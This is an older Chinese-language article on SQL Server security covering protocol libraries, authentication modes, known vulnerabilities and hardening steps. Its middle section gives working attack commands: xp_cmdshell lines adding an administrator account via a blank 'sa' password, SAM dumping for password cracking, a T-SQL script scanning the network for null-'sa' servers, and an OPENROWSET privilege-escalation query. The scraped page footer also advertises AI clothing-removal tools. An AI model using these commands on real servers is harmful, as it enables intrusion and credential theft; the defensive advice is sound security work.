关于SQL SERVER的一些安全问题
关于SQL SERVER的一些安全问题
BY XUNDI
xundi1@21cn.com
www.xfocus.org
目前关于NT服务器的入侵,有很多种方法,如对IIS的漏洞进行利用,但
大家不知道注意到没有,其实通过与NT服务器相关联的SQL数据库服务器
的例子也是很有比例的一种手段。大家可以参看下面的一个新闻报道:
http://www.vnunet.com/News/1110938。
Herbless入侵破坏的一些站点,如legoland.co.uk站点就是通过SQL服务器
的入侵而获得对系统的控制权而破坏的。所以对SQL服务器的保护是必不可
少的,这里我整理了一些漏洞供大家来参考,见笑,见笑。
----------------------------------------------------------------
我们先来看看SQL服务程序支持的网络协议库:
----------------------------------------------------------------
| SQL Server Network Protocol Libraries |
----------------------------------------------------------------
|Protocol library| 可能存在的漏洞 | 是否加密 |
----------------------------------------------------------------
|Named pipes | --使用NT SMB端口(TCP139,UDP137, | 否 |
|(有名管道) | 138)来进行通信,这些可以被通 | |
| | 的防火墙控制,但如果内部网络可| |
| | 随意访问的话也是一个不小的缺陷| |
| | --用户名字,密码和数据没有进行加| |
| | 传输,任何人可以通过SNIFFER来 | |
| | 进行数据捕获。 | |
----------------------------------------------------------------
|IP Sockets | --默认状态下开1433口,你可以使用| 否 |
| | 扫描器来查看这个端口。 | |
| | 可以被SNIFFER截获数据。 | |
----------------------------------------------------------------
|Multi-Protocol | --客户端需要支持NT RPCs;在不同 | 是 |
| | 种类的环境中可能引起问题。 | |
| | --默认情况下使用TCP随机端口,但| |
| | 防火墙进行端口图固定实现(参 | |
| | 看KB Q164667)。 | |
| | --需要注意加密选项是否选择,默 | |
| | 是不选择此选项的。 | |
----------------------------------------------------------------
|NWLink | --存在被SNIFFER截获数据的危险 | 否 |
----------------------------------------------------------------
|AppleTalk (ADSP)| --存在被SNIFFER截获数据的危险 | 否 |
----------------------------------------------------------------
|Banyan Vines | --存在被SNIFFER截获数据的危险 | 否 |
----------------------------------------------------------------
一般的推荐使用是:如果你能在Integrated (NT) Security上使用Named Pipes 或者
Multi-protocol,那你就使用这些协议库,如果可能,尽量使用Multi-protocol
和使能加密选项。如果你上面几个不能使用,那就使用IP Sockets协议,并改变
其默认的端口并随时检查系统保证无任何SNIFFER存在。并且,考虑使用一WEB服
务或者COM组件作为应用程序的business object layer,并在中间层和SQL服务程
序中使用安全通道(secure channel)。有不少第三方的产品可以加密这方面的通信。
-----------------------------------------------------------------------
下面再讲一下SQL SERVER的各种安全模式和它们怎样进行工作?
安全模式定义了一些SQL SERVER是怎样认证要使用它们服务的用户,请看下面
SQL Server 6.5的安全模式和在SQL Server 7.0做了改变的一些描述和区别:
-------------------------------------------------------------------
|安全模式 | SQL Server 6.5 | SQL Server 7.0改变地方 |
-------------------------------------------------------------------
|Standard | --登陆定义在SQL SERVER里| --单独的标准模式在SQL SERVER|
|标准模式 | 而且给定密码。 | 没有使用了。 |
| | --SQL SERVER的登录帐户与| |
| | WINDOW NT分开 | |
-------------------------------------------------------------------
|Integrated |-使用安全管理器SQL的帐 | --在这里成为"Windows NT only"|
|综合模式 | 户。 | 模式。 |
| |-用户在连接到SQL SERVER| --只工作在NT系统下,在WIN9X不|
| | 不需要特定分开LOGIN和 | 支持。 |
| | 密码。 | |
| |-密码从不存储在应用程序| --可以直接结合到NT的组中便于 |
| | 中,并不以明文在网络中| 管理,(注意有一BUILTIN组在|
| | 传输。 | 本地系统上产生). |
| |-SQL SERVER可以使用NT的| |
| | 的认证方式来认证用户并| |
| | 可以使用如帐户过期等。| |
| |-需要Named Pipe或Multi-| |
| | Protocol库。 | |
--------------------------------------------------------------------
|Mixed |-提供上面的方式的一些特| --成为SQL SERVER和WINDOWS NT |
|混合性方式 | 征但有后退的东西是客户| 模式。 |
| | 端不能建立可信任连接。| --尽量使用WINDOW NT ONLY模式 | |
--------------------------------------------------------------------
登录只不过是第一步,一旦用户登录,用户必须访问独立的数据库,要使上面
的成立,就必须在sysusers表里存在一表目给用户用的每个数据库。所以安全
请你注意在你的数据库中是否存在"guest"帐户和保证不会在你不注意的时候给
某些人访问你的数据库。
详细的大家可以参看微软的站点:
http://www.microsoft.com/technet/SQL/Technote/secure.asp
---------------------------------------------------------------------
关于SQL SERVER存在的一些安全问题:
存在"sa"帐户,密码就为空,而且这个密码是SQL SERVER安全模块成员,我们就
可以通过xp_cmdshell stored procedure(扩展存储过程)来进行命
令操作,如:
Xp_cmdshell "net user testuser UgotHacked /ADD"
然后在:
Xp_cmdshell "net localgroup Administrators testuser /ADD"
这样攻击者就成功的在SQL SERVER上增加了一个用户。
当然远程的话,一般需要有1433口开着,通过MYSQL 客户端进行连接。
当然你也可以使用:
Xp_cmdshell "rdisk /s-"
的方法,这样就在winnt epair目录里重建了信息而不提示用户。然后
在SAM备份以后,攻击者可以建立一个SMB连接到共享或者建立一个连接:
Xp_cmdshell "net share getsam=c:winnt epair"
利用共享获得这个文件,然后在使用l0phtcrack来跑吧。如果SMB端口被防火墙
控制了,或者关闭了,攻击者也可以拷贝sam._文件到WEB目录进行匿名浏览器
下载。如果人家没有开IIS,你何不用tftp呢:).
OK,通过这台被控制的SQL SERVER服务器,攻击者可以通过它来查找网络内部
其他机器来扩大战果,下面是一个SQL脚本来列举网络中其他SQL SERVER存在
空帐户'sa'的示例:
-----------------------------------------------------------------------
-- Create temp table to store enumerated servers
SET NOCOUNT ON
CREATE TABLE #temp (shelldump varchar(255))
INSERT #temp EXEC xp_cmdshell 'osql -L'
DECLARE @current_server varchar(255), @conn_string varchar(255)
DECLARE sql_cursor CURSOR FOR SELECT * FROM #temp
OPEN sql_cursor FETCH NEXT FROM sql_cursor INTO @current_server
-- Loop through potential targets and check for null sa accounts
-- If target is vulnerable, version information will be displayed
WHILE @@FETCH_STATUS = 0
BEGIN
If @current_server 'Servers:'
BEGIN
SELECT @current_server = rtrim(ltrim(@current_server))
SELECT @conn_string = 'exec xp_cmdshell 'osql -S' + @current_server + ' -Usa -P -Q "select @@version"''
PRINT 'Attempting connection to server: ' + @current_server
EXECUTE (@conn_string)
PRINT '====================================================================='
END
FETCH NEXT FROM sql_cursor INTO @current_server
END
--Clean up
CLOSE sql_cursor
DEALLOCATE sql_cursor
DROP TABLE #TEMP
----------------------------------------------------------------------
当然有些人也可能关闭xp_cmdshell extended stored procedure(扩展存储过程),
我们也可以使用下面的方法:
xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITYSAMDomainsAccount', 'F'
如果MSSqlserver 服务在本地系统帐户下运行,并且如果系统上没有安装syskey,上面
的调用就可以返回注册表中加密的密码或者SID。
--------------------------------------------------------------------------
另一个漏洞,是关于adhoc heterogenous queries 来进行权利的提升,请看下面微软
的描述:http://www.microsoft.com/technet/security/bulletin/fq00-014.asp
关于上面的漏洞,可以使用下面的xploit来获得权利的提升:
SELECT * FROM OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;Data Source=myserver',
'SET FMTONLY OFF execute master..xp_cmdshell "dir c:"')
这是大家比较喜欢的一种可以执行其他命令,自己想吧。
---------------------------------------------------------------------------
还有就是最近的一个漏洞:Extended Stored Procedure Parameter Parsing (扩展存储
过程参数解析)的漏洞,详细信息在这个URL有介绍:
http://www.microsoft.com/technet/security/bulletin/ms00-092.asp。
起主要问题是在MSD中提供一个API函数srv_paraminfo(),它是用来扩展存储过程调用时
解释深入参数的,如:
exec , , ...
如要查询“c:winnt”的目录树,可以如下表达:
exec xp_dirtree 'c:winnt'
但没有检查各个参数的长度,传递相当长的字符串,就存在了覆盖其他堆栈
参数的可能导致缓冲溢出。
目前已经知道的过程如下:
目前已知受影响的扩展存储过程如下:
1、xp_peekqueue (xpqueue.dll)
xp_printstatements (xprepl.dll)
给第一个参数传递超长的字符串会覆盖异常处理程序所保存的返回地址。
2、xp_proxiedmetadata (xprepl.dll)
该存储过程使用4个参数。给第二个参数传递超长的字符串会覆盖异常处
理程序所保存的返回地址。
3、xp_SetSQLSecurity (xpstar.dll)
该存储过程使用4个参数。给第三个参数传递超长的字符串会使整个SQL
Server进程立即终止。
4、xp_displayparamstmt(xprepl.dll)
xp_enumresultset(xprepl.dll)
xp_showcolv (xprepl.dll)
xp_updatecolvbm (xprepl.dll)
给第一个参数传递超长的串将导致非法操作并覆盖异常处理程序所保存的返
回地址。
这里告诉大家一个技巧性的东西,如果想要知道这些扩展存储过程调用了那写dll
文件,你可以如下操作,如:
select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and o.name
= 'xp_peekqueue'
这样你就可以获得调用这个扩展存储过程的DLL了,如果微软没有出补丁的话,你就
暂时把这个DLL文件改名吧,当然有些DLL文件调用几个扩展存储过程,不能盲目更改,
否则导致其他的也不能使用,你需要使用下面的操作来知道DLL调用那些扩展存储过程:
select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and c.text = 'xpqueue.dll'
幸好微软出了补丁,你可以到下面的地方找到,不用一个一个找DLL程序了,呵呵:
http://support.microsoft.com/support/sql/xp_security.asp
这个漏洞@stake发现并提供演示的测试代码,大家可在这里找到:
http://www.atstake.com/research/advisories/2000/sqladv2-poc.c
--------------------------------------------------------------------------
OK,当然SQL SERVER也有一些其他漏洞,相对轻微些,如ISS发现的管理员
LOGIN ID存储在注册表中,其加密的方法比较简单,很容易获得,详细情况
请看:http://xforce.iss.net/alerts/advise45.php3。大家可以到其他
地方找找。
---------------------------------------------------------------------
一些对SQL SERVER系统的安全建议:
--保证打上最新的安全补丁,如下:
Windows NT 4.0 - Service Pack 6a
SQL Server 6.5 - Service Pack 5a
SQL Server 7.0 - Service Pack 2. (Various hotfixes - check
http://www.microsoft.com/download)
SQL Server 2000 - Hotfix S80233i.exe (Intel)
当然大家要密切注意微软的安全公告。
--不要在IP sockets使用端口1433,如果你使用Multi-protocol也请
修改端口。
--不要把'sa'密码嵌入到任意应用程序如VB/DELPHI apps里,或者一
global.asa文件里,因为"sa"是SQL Server 的一个默认密码,其权限
类似与WINDOWS NT系统里的管理员帐户,而且密码为空。
--改变'sa'和'probe'帐户的密码。
--保证SQL SERVER的错误记录在NTFS系统上。
--如果你不需要xp_cmdshell( use sp_dropextendedproc 'xp_cmdshell' )
就不要把xp_cmdshell extended stored proc(扩展存储过程) 留在服务
器上。在任何isql窗口中输入:
use master
sp_dropextendedproc 'xp_cmdshell'
--丢弃不需要OLE自动存储过程,当然Enterprise Manager中的某些特征也
会不能使用,这些过程包括如下:
Sp_OACreate Sp_OADestroy
Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty
Sp_OAStop
--去掉不需要的注册表访问过程,如下:
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
--去掉其他系统存储过程,如果你认为你觉得你还有威胁,当然
要小心Drop这些过程,你可以在测试机器上测试,保证你正常的
系统能完成工作,这些过程包括:
sp_bindsession sp_cursor sp_cursorclose
sp_cursorfetch sp_cursoropen sp_cursoroption
sp_getbindtoken sp_GetMBCSCharLen sp_IsMBCSLeadByte
sp_OACreate sp_OADestroy sp_OAGetErrorInfo
sp_OAGetProperty sp_OAMethod sp_OASetProperty
sp_OAStop sp_replcmds sp_replcounters
sp_repldone sp_replflush sp_replstatus
sp_repltrans sp_sdidebug xp_availablemedia
xp_cmdshell xp_deletemail xp_dirtree
xp_dropwebtask xp_dsninfo xp_enumdsn
xp_enumerrorlogs xp_enumgroups xp_enumqueuedtasks
xp_eventlog xp_findnextmsg xp_fixeddrives
xp_getfiledetails xp_getnetname xp_grantlogin
xp_logevent xp_loginconfig xp_logininfo
xp_makewebtask xp_msver xp_perfend
xp_perfmonitor xp_perfsample xp_perfstart
xp_readerrorlog xp_readmail xp_revokelogin
xp_runwebtask xp_schedulersignal xp_sendmail
xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap
xp_sprintf xp_sqlinventory xp_sqlregister
xp_sqltrace xp_sscanf xp_startmail
xp_stopmail xp_subdirs xp_unc_to_drive
--去掉数据库中guest用户。
--关闭SQL MAIL兼容能力,防止传递一些木马病毒等。
--设置一个任务处理来定时运行下面的程序:
findstr /C:"Login Failed" mssql7log*.*'
再重定向到其他文件或者MAIL到管理员信箱。
--经常检查带有空密码的帐户:
Use master
Select name,
Password
from syslogins
where password is null
order by name
--检查所有不需要'sa'权限的存储过程和扩展存储过程访问权限:
Use master
Select sysobjects.name
From sysobjects, sysprotects
Where sysprotects.uid = 0
AND xtype IN ('X','P')
AND sysobjects.id = sysprotects.id
Order by name

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

AI Hentai Generator
免費產生 AI 無盡。

熱門文章

熱工具

記事本++7.3.1
好用且免費的程式碼編輯器

SublimeText3漢化版
中文版,非常好用

禪工作室 13.0.1
強大的PHP整合開發環境

Dreamweaver CS6
視覺化網頁開發工具

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

熱門話題

HQL和SQL在Hibernate框架中進行比較:HQL(1.物件導向語法,2.資料庫無關的查詢,3.類型安全),而SQL直接操作資料庫(1.與資料庫無關的標準,2.可執行複雜查詢和資料操作)。

《OracleSQL中除法運算的用法》在OracleSQL中,除法運算是常見的數學運算之一。在資料查詢和處理過程中,除法運算可以幫助我們計算欄位之間的比例或得出特定數值的邏輯關係。本文將介紹OracleSQL中除法運算的用法,並提供具體的程式碼範例。一、OracleSQL中除法運算的兩種方式在OracleSQL中,除法運算可以用兩種不同的方式來進行

Oracle和DB2是兩個常用的關聯式資料庫管理系統,它們都有自己獨特的SQL語法和特性。本文將針對Oracle和DB2的SQL語法進行比較與區別,並提供具體的程式碼範例。資料庫連接在Oracle中,使用以下語句連接資料庫:CONNECTusername/password@database而在DB2中,連接資料庫的語句如下:CONNECTTOdataba

MyBatis動態SQL標籤解讀:Set標籤用法詳解MyBatis是一個優秀的持久層框架,它提供了豐富的動態SQL標籤,可以靈活地建構資料庫操作語句。其中,Set標籤是用來產生UPDATE語句中SET子句的標籤,在更新作業中非常常用。本文將詳細解讀MyBatis中Set標籤的用法,以及透過具體的程式碼範例來示範其功能。什麼是Set標籤Set標籤用於MyBati

在WindowsXP與Windows10的系統之中,實作資料夾的共享並非一項極為複雜的任務,只需按照本文所提供的詳細步驟進行操作便可輕鬆完成。 win10家庭版與xp共享資料夾步驟一:配置XP系統上的資料夾1、右鍵你要共享的資料夾選擇“共享和安全性”2、選擇“共享這個資料夾”,在共享名稱裡面輸入一個名字。 3、進入“權限”,點選新增,選擇“使用者或群組”的時候輸入你要新增的使用者名稱。 4.設定對應的權限,比如說完全控製或是唯讀等等。 5、之後儲存設置,關閉資料夾。步驟二:設定win10電腦1、開啟資源管理器。

我們在使用win7作業系統的時候,有的夥伴們因為一些需要想要把自己的系統換成xp作業系統。那麼在這個過程中一些小夥伴可能就遇到了一些問題。對於win7換xp系統bios怎麼設置,小編覺得先通快捷鍵進入我們電腦的bios,然後找到相關選項跟著小編進行設置即可。具體操作步驟一起來看吧~win7換xp系統bios怎麼設定1.進BIOSThinkPad和聯想VBKEM系列的筆記本進BIOS是按鍵盤的F1鍵(部分機型是按鍵盤組合鍵Fn+F1,Fn鍵按住不放,重複按F1鍵)。 2.選擇Restart標

SQL中的Identity是什麼,需要具體程式碼範例在SQL中,Identity是一種用於產生自增數字的特殊資料類型,它常用於唯一識別表中的每一行資料。 Identity欄位通常與主鍵列搭配使用,可確保每筆記錄都有獨一無二的識別碼。本文將詳細介紹Identity的使用方式以及一些實際的程式碼範例。 Identity的基本使用方式在建立表格時,可以使用Identit

解決方法:1、檢查登入使用者是否具有足夠的權限來存取或操作該資料庫,確保該使用者俱有正確的權限;2、檢查SQL Server服務的帳戶是否具有存取指定檔案或資料夾的權限,確保該帳戶具有足夠的權限來讀取和寫入該文件或資料夾;3、檢查指定的資料庫文件是否已被其他進程打開或鎖定,嘗試關閉或釋放該文件,並重新運行查詢;4、嘗試以管理員身份運行Management Studio等等。
